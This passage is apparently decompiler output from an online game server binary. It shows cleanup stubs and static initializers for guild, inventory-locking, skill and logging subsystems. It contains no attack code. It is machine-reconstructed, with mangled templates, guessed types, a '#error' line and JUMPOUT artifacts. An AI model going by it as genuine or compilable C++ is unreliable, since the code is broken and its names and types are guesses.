_L108065(int a1) { std::basic_ifstream>::_vbase_destructor((std::basic_ifstream > *)(a1 - 232)); } //----- (0062661B) -------------------------------------------------------- void __usercall _L108066(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 44)); } //----- (00626623) -------------------------------------------------------- void __usercall _L108294(int a1) { if ( *(_DWORD *)(a1 - 444) & 1 ) { *(_DWORD *)(a1 - 444) &= 0xFFFFFFFEu; std::basic_ios>::_basic_ios>((std::basic_ios > *)(a1 - 284)); } } //----- (00626645) -------------------------------------------------------- void __usercall _L108296(int a1) { std::basic_iostream>::_basic_iostream>((std::basic_iostream > *)(a1 - 356)); } //----- (00626650) -------------------------------------------------------- void __usercall _L108308(int a1) { std::basic_streambuf>::_basic_streambuf>(*(std::basic_streambuf > **)(a1 - 448)); } //----- (0062665B) -------------------------------------------------------- void __usercall _L108067(int a1) { std::basic_stringstream_std::allocator>::_vbase_destructor((std::basic_stringstream,std::allocator > *)(a1 - 368)); } //----- (00626666) -------------------------------------------------------- void __usercall _L108068(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 72)); } //----- (0062666E) -------------------------------------------------------- void __usercall _L108070(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 400)); } //----- (00626679) -------------------------------------------------------- void __usercall _L108071(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 432)); } //----- (0062668E) -------------------------------------------------------- void __usercall _L11876(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 40)); } //----- (006266A0) -------------------------------------------------------- void __usercall _L12843(int a1) { std::codecvt_base::_codecvt_base(*(std::num_get > > **)(a1 - 20)); } //----- (006266A8) -------------------------------------------------------- void __usercall _L12844(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(*(_DWORD *)(a1 - 20) + 24)); } //----- (006266B3) -------------------------------------------------------- void __usercall _L12845(int a1) { std::_Lockit::__Lockit((std::_Lockit *)(a1 - 16)); } //----- (006266C5) -------------------------------------------------------- void __usercall _L13077(int a1) { std::codecvt_base::_codecvt_base(*(std::num_get > > **)(a1 - 16)); } //----- (006266D7) -------------------------------------------------------- void __usercall _L13092(int a1) { std::_Lockit::__Lockit(*(std::_Lockit **)(a1 - 16)); } //----- (006266DF) -------------------------------------------------------- void __usercall _L13093(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(*(_DWORD *)(a1 - 16) + 4)); } //----- (006266EA) -------------------------------------------------------- void __usercall _L13094(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(*(_DWORD *)(a1 - 16) + 32)); } //----- (006266F5) -------------------------------------------------------- void __usercall _L13095(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(*(_DWORD *)(a1 - 16) + 60)); } //----- (00626700) -------------------------------------------------------- void __usercall _L13096(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(*(_DWORD *)(a1 - 16) + 88)); } //----- (00626715) -------------------------------------------------------- void __usercall _L13121(int a1) { std::_Lockit::__Lockit((std::_Lockit *)(a1 - 16)); } //----- (0062671D) -------------------------------------------------------- void __usercall _L13122(int a1) { operator delete(*(void **)(a1 - 20)); } //----- (00626731) -------------------------------------------------------- void __usercall _L8666(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (00626739) -------------------------------------------------------- void __usercall _L8667(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (00626741) -------------------------------------------------------- void __usercall _L8668(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 148)); } //----- (00626756) -------------------------------------------------------- void __usercall _L8703(int a1) { exception::_exception(*(exception **)(a1 - 16)); } //----- (00626770) -------------------------------------------------------- int __cdecl _E5() { AbnormalStateContainer::ActorCluster::ActorCluster(&actorcluster); return atexit(_E6_14); } //----- (00626790) -------------------------------------------------------- int __cdecl _E8() { memset(&clearabstate, 0, 0x4Cu); clearabstate.csb_abstatabit.statebit[76] = 0; return atexit(_E9_10); } //----- (006267B0) -------------------------------------------------------- int __cdecl _E11() { AbnormalStateContainer::AbnormalStateList::AbnormalStateList(&abstatetemplate); return atexit(_E12_6); } //----- (006267D0) -------------------------------------------------------- int __cdecl _E1() { AbnormalStateDictionary::SubAbState::SubAbState(&dic_subabstate); return atexit(_E2); } //----- (006267F0) -------------------------------------------------------- int __cdecl _E4() { AbnormalStateDictionary::AbState::AbState(&dic_abstate); return atexit(_E5_44); } //----- (00626810) -------------------------------------------------------- int __cdecl _E3() { NPCAction::Manager::Manager(&g_AbstateShelter); return atexit(_E4_16); } //----- (00626830) -------------------------------------------------------- int __cdecl _E5_0() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"AmpersandCommandLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&AmpersandCommandLog - "AmpersandCommandLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); unk_6C04E8 = 0; EraseOldLogList("AmpersandCommandLog"); unk_6C066C = 1; return atexit(_E6_15); } //----- (00626880) -------------------------------------------------------- int __cdecl _E8_0() { AmpersandCommand::AmpersandCommand(&cmd); return atexit(_E9_11); } //----- (006268A0) -------------------------------------------------------- int __cdecl _E11_0() { LuaScriptObserver::LuaScriptObserver(&g_LuaScriptObserver); return atexit(_E12_7); } //----- (006268C0) -------------------------------------------------------- int __cdecl _E1_0() { AttackRhythm::AttackRhythm_Melee::AttackRhythm_Melee(&attrhythm_melee); return atexit(_E2_0); } //----- (006268E0) -------------------------------------------------------- int __cdecl _E4_0() { AttackRhythm::AttackRhythm_Range::AttackRhythm_Range(&attrhythm_range); return atexit(_E5_45); } //----- (00626900) -------------------------------------------------------- int __cdecl _E7() { AttackRhythm::AttackRhythm_Mob::AttackRhythm_Mob(&attrhythm_mob); return atexit(_E8_30); } //----- (00626920) -------------------------------------------------------- int __cdecl _E5_1() { BattleObjectGroup::BattleObjectList::BattleObjectList(&btlobjlist); return atexit(_E6_18); } //----- (00626940) -------------------------------------------------------- int __cdecl _E8_1() { return atexit(_E9_12); } //----- (00626950) -------------------------------------------------------- int __cdecl _E11_1() { SkillEffectApply::SkillBlastEffectContainer::SkillBlastEffectContainer(&skilleffectapplyer); return atexit(_E12_10); } //----- (00626970) -------------------------------------------------------- int __cdecl _E14() { SkillEffectApply::SkillDamageSender::SkillDamageSender(&skilldamagesender); return atexit(_E15_4); } //----- (00626990) -------------------------------------------------------- int __cdecl _E17() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("SkillDamageLog"); return atexit(_E18_6); } //----- (006269E0) -------------------------------------------------------- int __cdecl _E1_1() { return atexit(_E2_1); } //----- (006269F0) -------------------------------------------------------- int __cdecl _E1_2() { BlockDistribute::BlockingDistributeList::BlockingDistributeList(&g_BlockingDistributeList); return atexit(_E2_2); } //----- (00626A10) -------------------------------------------------------- int __cdecl _E4_1() { BlockDistribute::BlockDistributeManager::BlockDistributeManager(&blockdistmanager); return atexit(_E5_46); } //----- (00626A30) -------------------------------------------------------- int __cdecl _E6() { BriefInfoDelete::BriefInfoDelete(&briefinfodelete); return atexit(_E7_10); } //----- (00626A50) -------------------------------------------------------- int __cdecl _E9() { BriefInformationAbstate::BriefInformationAbstate(&briefInformationAbstate); return atexit(_E10_5); } //----- (00626A70) -------------------------------------------------------- int __cdecl _E12() { CalculateBroadcastDistance::CalculateBroadcastDistance(&broadcastdistance); return atexit(_E13_1); } //----- (00626A90) -------------------------------------------------------- int __cdecl _E15() { BriefInfoExchanger::BriefInfoExchangeCharacter::BriefInfoExchangeCharacter(&briefchar); return atexit(_E16_3); } //----- (00626AB0) -------------------------------------------------------- int __cdecl _E18() { BriefInfoExchanger::BriefInfoExchangeMob::BriefInfoExchangeMob(&briefmob); return atexit(_E19_1); } //----- (00626AD0) -------------------------------------------------------- int __cdecl _E21() { BriefInfoExchanger::BriefInfoExchangeDoor::BriefInfoExchangeDoor(&briefdoor); return atexit(_E22_0); } //----- (00626AF0) -------------------------------------------------------- int __cdecl _E24() { BriefInfoExchanger::BriefInfoExchangeEffect::BriefInfoExchangeEffect(&briefeffect); return atexit(_E25_0); } //----- (00626B10) -------------------------------------------------------- int __cdecl _E27() { BriefInfoExchanger::BriefInfoExchangeItem::BriefInfoExchangeItem(&briefitem); return atexit(_E28_0); } //----- (00626B30) -------------------------------------------------------- int __cdecl _E30() { BriefInfoExchanger::BriefInfoExchangeMagicField::BriefInfoExchangeMagicField(&briefmagfld); return atexit(_E31_0); } //----- (00626B50) -------------------------------------------------------- int __cdecl _E33() { BriefInfoExchanger::BriefInfoExchangeMiniHouse::BriefInfoExchangeMiniHouse(&briefminihouse); return atexit(_E34_0); } //----- (00626B70) -------------------------------------------------------- int __cdecl _E36() { BriefInfoExchanger::BriefInfoExchangeAbstate::BriefInfoExchangeAbstate(&briefabstate_char); return atexit(_E37_0); } //----- (00626B90) -------------------------------------------------------- int __cdecl _E39() { BriefInfoExchanger::BriefInfoExchangeAbstate::BriefInfoExchangeAbstate(&briefabstate_mob); return atexit(_E40_0); } //----- (00626BB0) -------------------------------------------------------- int __cdecl _E3_0() { PassiveMasteryVariable::PassiveMasteryVariable(&pmv); return atexit(_E4_17); } //----- (00626BD0) -------------------------------------------------------- int __cdecl _E5_2() { CharClassManager::CharClassManager(&charclassmanager); return atexit(_E6_19); } //----- (00626BF0) -------------------------------------------------------- int __cdecl _E3_1() { DataFromOtherMachineList::DataFromOtherMachineList(&listofdatafromothermachine); return atexit(_E4_18); } //----- (00626C10) -------------------------------------------------------- int __cdecl _E1_3() { ChargedItemEffectDataBox::ChargedItemEffectDataBox(&chargedbuffdatabox); return atexit(_E2_3); } //----- (00626C30) -------------------------------------------------------- int __cdecl _E4_2() { ChargedItemEffectDataBox::ChargedItemEffectDataBox(&minihousedatabox); return atexit(_E5_47); } //----- (00626C50) -------------------------------------------------------- int __cdecl _E7_0() { ChargedItemEffectDataBox::ChargedItemEffectDataBox(&minihousefurnituredatabox); return atexit(_E8_34); } //----- (00626C70) -------------------------------------------------------- int __cdecl _E10() { RidePetDataBox::RidePetDataBox((RidePetDataBox *)&ridedatabox); return atexit(_E11_19); } //----- (00626C90) -------------------------------------------------------- int __cdecl _E5_3() { WholeSaver::WholeSaver(&wholesaver); return atexit(_E6_22); } //----- (00626CB0) -------------------------------------------------------- int __cdecl _E8_2() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"SkillCoolTimeLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&SkillCoolTimeLog - "SkillCoolTimeLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); SkillCoolTimeLog.dl_FilePointer = 0; EraseOldLogList("SkillCoolTimeLog"); SkillCoolTimeLog.dl_Activ = 1; return atexit(_E9_13); } //----- (00626D00) -------------------------------------------------------- int __cdecl _E5_4() { ZoneListenSession::ZoneListenSession(&zonelisten); return atexit(_E6_24); } //----- (00626D20) -------------------------------------------------------- int __cdecl _E1_4() { return atexit(_E2_4); } //----- (00626D30) -------------------------------------------------------- int __cdecl _E4_3() { return atexit(_E5_48); } //----- (00626D40) -------------------------------------------------------- int __cdecl _E1_5() { NPCAction::Manager::Manager((AbnormalStateShelter::AbstateShelter *)&_SoulDamageContainer); return atexit(_E2_5); } //----- (00626D60) -------------------------------------------------------- int __cdecl _E5_5() { return atexit(_E6_25); } //----- (00626D70) -------------------------------------------------------- int __cdecl _E8_3() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"MoverErrorLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&MoverErrorLog - "MoverErrorLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); MoverErrorLog.dl_FilePointer = 0; EraseOldLogList("MoverErrorLog"); MoverErrorLog.dl_Activ = 1; return atexit(_E9_14); } //----- (00626DC0) -------------------------------------------------------- int __cdecl _E1_6() { return atexit(_E2_6); } //----- (00626DD0) -------------------------------------------------------- int __cdecl _E5_6() { char *v0; // eax@1 signed int v1; // ecx@2 v0 = (char *)&dropitemanalyzer.dia_DropItem[0][0].num; do { v1 = 500; do { *(_WORD *)v0 = 0; v0 += 6; --v1; } while ( v1 ); } while ( (signed int)v0 < (signed int)&dropitemanalyzer.dia_DropItem[255][0].num ); return atexit(_E6_26); } //----- (00626E10) -------------------------------------------------------- int __cdecl _E1_7() { DropLocationManager::DropLocationManager(&droplocman); return atexit(_E2_7); } //----- (00626E30) -------------------------------------------------------- int __cdecl _E1_8() { equipman.eec_Column[0] = (char *)-1; equipman.eec_Column[3] = (char *)-1; equipman.eec_Column[4] = (char *)-1; equipman.eec_Column[5] = (char *)-1; equipman.eec_Column[14] = (char *)-1; equipman.eec_Column[1] = (char *)5; equipman.eec_Column[2] = (char *)17; equipman.eec_Column[6] = (char *)4; equipman.eec_Column[7] = (char *)8; equipman.eec_Column[8] = (char *)16; equipman.eec_Column[9] = (char *)24; equipman.eec_Column[10] = (char *)9; equipman.eec_Column[11] = (char *)22; equipman.eec_Column[12] = (char *)7; equipman.eec_Column[13] = (char *)23; equipman.eec_Column[15] = (char *)10; equipman.eec_Column[16] = (char *)12; equipman.eec_Column[17] = (char *)25; equipman.eec_Column[18] = (char *)26; equipman.eec_Column[19] = (char *)11; equipman.eec_Column[20] = (char *)15; equipman.eec_Column[21] = (char *)13; equipman.eec_Column[22] = (char *)14; equipman.eec_Column[23] = (char *)6; equipman.eec_Column[24] = (char *)18; equipman.eec_Column[25] = (char *)19; equipman.eec_Column[26] = (char *)20; equipman.eec_Column[27] = (char *)21; equipman.eec_Column[28] = (char *)27; return atexit(_E2_8); } //----- (00626FC0) -------------------------------------------------------- int __cdecl _E5_7() { strncpy(rouname.n3_name, "RouN", 0xCu); return atexit(_E6_27); } //----- (00626FE0) -------------------------------------------------------- int __cdecl _E8_4() { return atexit(_E9_15); } //----- (00626FF0) -------------------------------------------------------- int __cdecl _E11_2() { return atexit(_E12_13); } //----- (00627000) -------------------------------------------------------- int __cdecl _E14_0() { FieldContainer::FieldContainer(&fieldlist); return atexit(_E15_5); } //----- (00627020) -------------------------------------------------------- int __cdecl _E17_0() { BTree::BTree(&fieldserial); return atexit(_E18_8); } //----- (00627040) -------------------------------------------------------- int __cdecl _E20() { MapRearrangeObserver::MapRearrangeObserver(&maprearrangeobserver); return atexit(_E21_4); } //----- (00627060) -------------------------------------------------------- int __cdecl _E1_9() { FunctionCallingAnalyzer::FunctionCallingAnalyzer(&funcallanalizer); return atexit(_E2_9); } //----- (00627080) -------------------------------------------------------- int __cdecl _E4_4() { FunctionProfiler::PerformanceRecorder::PerformanceRecorder(&_PerformanceRecorder); return atexit(_E5_49); } //----- (006270A0) -------------------------------------------------------- int __cdecl _E5_8() { GatherProduce::GatherTable::GatherTable(&gathertable); return atexit(_E6_28); } //----- (006270C0) -------------------------------------------------------- int __cdecl _E8_5() { GatherProduce::RecipeBook::RecipeBook(&recipebook); return atexit(_E9_16); } //----- (006270E0) -------------------------------------------------------- int __cdecl _E23() { AxialListNearScanNPC::AxialListNearScanNPC(&alnsFire); return atexit(_E24_7); } //----- (00627100) -------------------------------------------------------- int __cdecl _E5_9() { GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::GuildAcademyRewardStorageManager(&gldacademyrewardstoramanager); return atexit(_E6_30); } //----- (00627120) -------------------------------------------------------- int __cdecl _E5_10() { MemoryQueue::MemoryQueue(&queue_GuildReName); return atexit(_E6_31); } //----- (00627140) -------------------------------------------------------- int __cdecl _E8_6() { MemoryQueue::MemoryQueue(&queue_GuildReType); return atexit(_E9_17); } //----- (00627160) -------------------------------------------------------- int __cdecl _E5_11() { GuildStorage::GuildStorageManager::GuildStorageManager(&gldstoramanager); return atexit(_E6_32); } //----- (00627180) -------------------------------------------------------- void __cdecl _E5_12() { strncpy(byte_D1D8F29, "GuildT0400", 0xCu); byte_D1D8F35 = 0; dword_D1D8F3E = 0; dword_D1D8F3A = 0; *(_DWORD *)dword_D1D8F36 = 0; strncpy(dword_D1D8F36, "GuildT0401", 0xCu); byte_D1D8F42 = 0; dword_D1D8F4B = 0; dword_D1D8F47 = 0; *(_DWORD *)dword_D1D8F43 = 0; strncpy(dword_D1D8F43, "GuildT0402", 0xCu); byte_D1D8F4F = 0; dword_D1D8F58 = 0; dword_D1D8F54 = 0; *(_DWORD *)dword_D1D8F50 = 0; strncpy(dword_D1D8F50, "GuildT0403", 0xCu); byte_D1D8F5C = 0; dword_D1D8F65 = 0; dword_D1D8F61 = 0; *(_DWORD *)dword_D1D8F5D = 0; strncpy(dword_D1D8F5D, "GuildT0404", 0xCu); byte_D1D8F69 = 0; dword_D1D8F72 = 0; dword_D1D8F6E = 0; *(_DWORD *)dword_D1D8F6A = 0; strncpy(dword_D1D8F6A, "GuildT0405", 0xCu); byte_D1D8F76 = 0; dword_D1D8F7F = 0; dword_D1D8F7B = 0; *(_DWORD *)dword_D1D8F77 = 0; strncpy(dword_D1D8F77, "GuildT0406", 0xCu); byte_D1D8F83 = 0; dword_D1D8F8C = 0; dword_D1D8F88 = 0; *(_DWORD *)dword_D1D8F84 = 0; strncpy(dword_D1D8F84, "GuildT0407", 0xCu); byte_D1D8F90 = 0; dword_D1D8F99 = 0; dword_D1D8F95 = 0; *(_DWORD *)dword_D1D8F91 = 0; strncpy(dword_D1D8F91, "GuildT0400", 0xCu); byte_D1D8F9D = 0; dword_D1D8FA6 = 0; dword_D1D8FA2 = 0; *(_DWORD *)dword_D1D8F9E = 0; strncpy(dword_D1D8F9E, "GuildT0401", 0xCu); byte_D1D8FAA = 0; dword_D1D8FB3 = 0; dword_D1D8FAF = 0; *(_DWORD *)dword_D1D8FAB = 0; strncpy(dword_D1D8FAB, "GuildT0402", 0xCu); byte_D1D8FB7 = 0; dword_D1D8FC0 = 0; dword_D1D8FBC = 0; *(_DWORD *)dword_D1D8FB8 = 0; strncpy(dword_D1D8FB8, "GuildT0403", 0xCu); byte_D1D8FC4 = 0; dword_D1D8FCD = 0; dword_D1D8FC9 = 0; *(_DWORD *)dword_D1D8FC5 = 0; strncpy(dword_D1D8FC5, "GuildT0404", 0xCu); byte_D1D8FD1 = 0; dword_D1D8FDA = 0; dword_D1D8FD6 = 0; *(_DWORD *)dword_D1D8FD2 = 0; strncpy(dword_D1D8FD2, "GuildT0405", 0xCu); byte_D1D8FDE = 0; dword_D1D8FE7 = 0; dword_D1D8FE3 = 0; *(_DWORD *)dword_D1D8FDF = 0; strncpy(dword_D1D8FDF, "GuildT0406", 0xCu); byte_D1D8FEB = 0; dword_D1D8FF4 = 0; dword_D1D8FF0 = 0; *(_DWORD *)dword_D1D8FEC = 0; strncpy(dword_D1D8FEC, "GuildT0407", 0xCu); byte_D1D8FF8 = 0; dword_D1D9001 = 0; dword_D1D8FFD = 0; *(_DWORD *)dword_D1D8FF9 = 0; strncpy(dword_D1D8FF9, "GuildT0400", 0xCu); byte_D1D9005 = 0; dword_D1D900E = 0; dword_D1D900A = 0; *(_DWORD *)dword_D1D9006 = 0; strncpy(dword_D1D9006, "GuildT0401", 0xCu); byte_D1D9012 = 0; dword_D1D901B = 0; dword_D1D9017 = 0; *(_DWORD *)dword_D1D9013 = 0; strncpy(dword_D1D9013, "GuildT0402", 0xCu); byte_D1D901F = 0; dword_D1D9028 = 0; dword_D1D9024 = 0; *(_DWORD *)dword_D1D9020 = 0; strncpy(dword_D1D9020, "GuildT0403", 0xCu); byte_D1D902C = 0; dword_D1D9035 = 0; dword_D1D9031 = 0; *(_DWORD *)dword_D1D902D = 0; strncpy(dword_D1D902D, "GuildT0404", 0xCu); byte_D1D9039 = 0; dword_D1D9042 = 0; dword_D1D903E = 0; *(_DWORD *)dword_D1D903A = 0; strncpy(dword_D1D903A, "GuildT0405", 0xCu); byte_D1D9046 = 0; dword_D1D904F = 0; dword_D1D904B = 0; *(_DWORD *)dword_D1D9047 = 0; strncpy(dword_D1D9047, "GuildT0406", 0xCu); byte_D1D9053 = 0; dword_D1D905C = 0; dword_D1D9058 = 0; *(_DWORD *)dword_D1D9054 = 0; strncpy(dword_D1D9054, "GuildT0407", 0xCu); byte_D1D9060 = 0; dword_D1D9069 = 0; dword_D1D9065 = 0; dword_D1D9061 = 0; JUMPOUT(*(int *)sub_627573); } // 627573: using guessed type int sub_627573(); // D1D8F35: using guessed type char byte_D1D8F35; // D1D8F3A: using guessed type int dword_D1D8F3A; // D1D8F3E: using guessed type int dword_D1D8F3E; // D1D8F42: using guessed type char byte_D1D8F42; // D1D8F47: using guessed type int dword_D1D8F47; // D1D8F4B: using guessed type int dword_D1D8F4B; // D1D8F4F: using guessed type char byte_D1D8F4F; // D1D8F54: using guessed type int dword_D1D8F54; // D1D8F58: using guessed type int dword_D1D8F58; // D1D8F5C: using guessed type char byte_D1D8F5C; // D1D8F61: using guessed type int dword_D1D8F61; // D1D8F65: using guessed type int dword_D1D8F65; // D1D8F69: using guessed type char byte_D1D8F69; // D1D8F6E: using guessed type int dword_D1D8F6E; // D1D8F72: using guessed type int dword_D1D8F72; // D1D8F76: using guessed type char byte_D1D8F76; // D1D8F7B: using guessed type int dword_D1D8F7B; // D1D8F7F: using guessed type int dword_D1D8F7F; // D1D8F83: using guessed type char byte_D1D8F83; // D1D8F88: using guessed type int dword_D1D8F88; // D1D8F8C: using guessed type int dword_D1D8F8C; // D1D8F90: using guessed type char byte_D1D8F90; // D1D8F95: using guessed type int dword_D1D8F95; // D1D8F99: using guessed type int dword_D1D8F99; // D1D8F9D: using guessed type char byte_D1D8F9D; // D1D8FA2: using guessed type int dword_D1D8FA2; // D1D8FA6: using guessed type int dword_D1D8FA6; // D1D8FAA: using guessed type char byte_D1D8FAA; // D1D8FAF: using guessed type int dword_D1D8FAF; // D1D8FB3: using guessed type int dword_D1D8FB3; // D1D8FB7: using guessed type char byte_D1D8FB7; // D1D8FBC: using guessed type int dword_D1D8FBC; // D1D8FC0: using guessed type int dword_D1D8FC0; // D1D8FC4: using guessed type char byte_D1D8FC4; // D1D8FC9: using guessed type int dword_D1D8FC9; // D1D8FCD: using guessed type int dword_D1D8FCD; // D1D8FD1: using guessed type char byte_D1D8FD1; // D1D8FD6: using guessed type int dword_D1D8FD6; // D1D8FDA: using guessed type int dword_D1D8FDA; // D1D8FDE: using guessed type char byte_D1D8FDE; // D1D8FE3: using guessed type int dword_D1D8FE3; // D1D8FE7: using guessed type int dword_D1D8FE7; // D1D8FEB: using guessed type char byte_D1D8FEB; // D1D8FF0: using guessed type int dword_D1D8FF0; // D1D8FF4: using guessed type int dword_D1D8FF4; // D1D8FF8: using guessed type char byte_D1D8FF8; // D1D8FFD: using guessed type int dword_D1D8FFD; // D1D9001: using guessed type int dword_D1D9001; // D1D9005: using guessed type char byte_D1D9005; // D1D900A: using guessed type int dword_D1D900A; // D1D900E: using guessed type int dword_D1D900E; // D1D9012: using guessed type char byte_D1D9012; // D1D9017: using guessed type int dword_D1D9017; // D1D901B: using guessed type int dword_D1D901B; // D1D901F: using guessed type char byte_D1D901F; // D1D9024: using guessed type int dword_D1D9024; // D1D9028: using guessed type int dword_D1D9028; // D1D902C: using guessed type char byte_D1D902C; // D1D9031: using guessed type int dword_D1D9031; // D1D9035: using guessed type int dword_D1D9035; // D1D9039: using guessed type char byte_D1D9039; // D1D903E: using guessed type int dword_D1D903E; // D1D9042: using guessed type int dword_D1D9042; // D1D9046: using guessed type char byte_D1D9046; // D1D904B: using guessed type int dword_D1D904B; // D1D904F: using guessed type int dword_D1D904F; // D1D9053: using guessed type char byte_D1D9053; // D1D9058: using guessed type int dword_D1D9058; // D1D905C: using guessed type int dword_D1D905C; // D1D9060: using guessed type char byte_D1D9060; // D1D9061: using guessed type int dword_D1D9061; // D1D9065: using guessed type int dword_D1D9065; // D1D9069: using guessed type int dword_D1D9069; //----- (00627573) -------------------------------------------------------- #error "627648: positive sp value has been found (funcsize=42)" //----- (006276B0) -------------------------------------------------------- int __cdecl _E8_7() { _eh_vector_constructor_iterator_( &guildtournamentinfo, 0x24u, 32, (void (__thiscall *)(void *))GuildTouramentLoginDataInfo::GuildTouramentLoginDataInfo, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); return atexit(_E9_18); } //----- (006276E0) -------------------------------------------------------- int __cdecl _E3_2() { std::map_std::allocator>>::map_std::allocator>>(&GuildTournamentSystem::sm_mapGuildMemberGrades); return atexit(_E4_19); } //----- (00627700) -------------------------------------------------------- int __cdecl _E1_10() { signed int v0; // eax@1 v0 = 4096; do { gldwarman.gwm_Array[gldwarman.gwm_Pointer].attacker = 0; --v0; ++gldwarman.gwm_Pointer; } while ( v0 ); gldwarman.gwm_nWarStartCount = 0; return atexit(_E2_10); } //----- (00627740) -------------------------------------------------------- int __cdecl _E5_13() { return atexit(_E6_34); } //----- (00627750) -------------------------------------------------------- int __cdecl _E8_8() { LevelHandicap4ExperienceDouble::LevelHandicap4ExperienceDouble(&lh4ed); return atexit(_E9_19); } //----- (00627770) -------------------------------------------------------- int __cdecl _E11_3() { memcpy(&pebd.pebd_Bonus[1], &pebd, 0x140u); pebd.pebd_Bonus[0] = 1.0; pebd.pebd_Bonus[1] = 1.0; pebd.pebd_Bonus[2] = 1.2; pebd.pebd_Bonus[3] = 1.4; pebd.pebd_Bonus[4] = 1.6; pebd.pebd_Bonus[5] = 1.8; return atexit(_E12_17); } //----- (006277E0) -------------------------------------------------------- int __cdecl _E14_1() { return atexit(_E15_6); } //----- (006277F0) -------------------------------------------------------- int __cdecl _E5_14() { MemoryQueue::MemoryQueue(&queue_cenuse); return atexit(_E6_35); } //----- (00627810) -------------------------------------------------------- int __cdecl _E8_9() { return atexit(_E9_20); } //----- (00627820) -------------------------------------------------------- int __cdecl _E5_15() { ItemLotAnalyser::LotAnalyser::LotAnalyser(&itemlotanalyser); return atexit(_E6_36); } //----- (00627840) -------------------------------------------------------- int __cdecl _E8_10() { return atexit(_E9_21); } //----- (00627850) -------------------------------------------------------- int __cdecl _E11_4() { InventoryLocking::InvenCellReleaser_CenChange::InvenCellReleaser_CenChange(&InventoryLocking::InventoryCellLockList::icll_Releaser_CenChange); return atexit(_E12_18); } //----- (00627870) -------------------------------------------------------- int __cdecl _E14_2() { InventoryLocking::InvenCellReleaser_FameChange::InvenCellReleaser_FameChange(&InventoryLocking::InventoryCellLockList::icll_Releaser_FameChange); return atexit(_E15_7); } //----- (00627890) -------------------------------------------------------- int __cdecl _E17_1() { InventoryLocking::InvenCellReleaser_CellClear::InvenCellReleaser_CellClear(&InventoryLocking::InventoryCellLockList::icll_Releaser_CellClear); return atexit(_E18_11); } //----- (006278B0) -------------------------------------------------------- int __cdecl _E20_0() { InventoryLocking::InvenCellReleaser_CellChange::InvenCellReleaser_CellChange(&InventoryLocking::InventoryCellLockList::icll_Releaser_CellChange); return atexit(_E21_5); } //----- (006278D0) -------------------------------------------------------- int __cdecl _E23_0() { InventoryLocking::InvenCellReleaser_EquipLocation::InvenCellReleaser_EquipLocation(&InventoryLocking::InventoryCellLockList::icll_Releaser_EquipLocation); return atexit(_E24_8); } //----- (006278F0) -------------------------------------------------------- int __cdecl _E26() { InventoryLocking::InvenCellReleaser_UnEquipInfo::InvenCellReleaser_UnEquipInfo(&InventoryLocking::InventoryCellLockList::icll_Releaser_UnEquipInfo); return atexit(_E27_5); } //----- (00627910) -------------------------------------------------------- int __cdecl _E29() { InventoryLocking::InvenCellReleaser_ItemUse::InvenCellReleaser_ItemUse(&InventoryLocking::InventoryCellLockList::icll_Releaser_ItemUse); return atexit(_E30_5); } //----- (00627930) -------------------------------------------------------- int __cdecl _E32() { InventoryLocking::InvenCellReleaser_PointStone::InvenCellReleaser_PointStone(&InventoryLocking::InventoryCellLockList::icll_Releaser_PointStone); return atexit(_E33_4); } //----- (00627950) -------------------------------------------------------- int __cdecl _E35() { InventoryLocking::InvenCellReleaser_QuestReward::InvenCellReleaser_QuestReward(&InventoryLocking::InventoryCellLockList::icll_Releaser_QuestReward); return atexit(_E36_3); } //----- (00627970) -------------------------------------------------------- int __cdecl _E38() { InventoryLocking::InvenCellReleaser_GuildStorageClear::InvenCellReleaser_GuildStorageClear(&InventoryLocking::InventoryCellLockList::icll_Releaser_GuildStorageClear); return atexit(_E39_3); } //----- (00627990) -------------------------------------------------------- int __cdecl _E41() { InventoryLocking::InvenCellReleaser_CellChangeSmall::InvenCellReleaser_CellChangeSmall(&InventoryLocking::InventoryCellLockList::icll_Releaser_CellChangeSmall); return atexit(_E42_2); } //----- (006279B0) -------------------------------------------------------- int __cdecl _E44() { InventoryLocking::InvenCellReleaser_GuildStorageChange::InvenCellReleaser_GuildStorageChange(&InventoryLocking::InventoryCellLockList::icll_Releaser_GuildStorageChange); return atexit(_E45_3); } //----- (006279D0) -------------------------------------------------------- int __cdecl _E47() { InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageRelocClear::InvenCellReleaser_GuildAcademyRewardStorageRelocClear(&InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageRelocClear); return atexit(_E48_3); } //----- (006279F0) -------------------------------------------------------- int __cdecl _E50() { 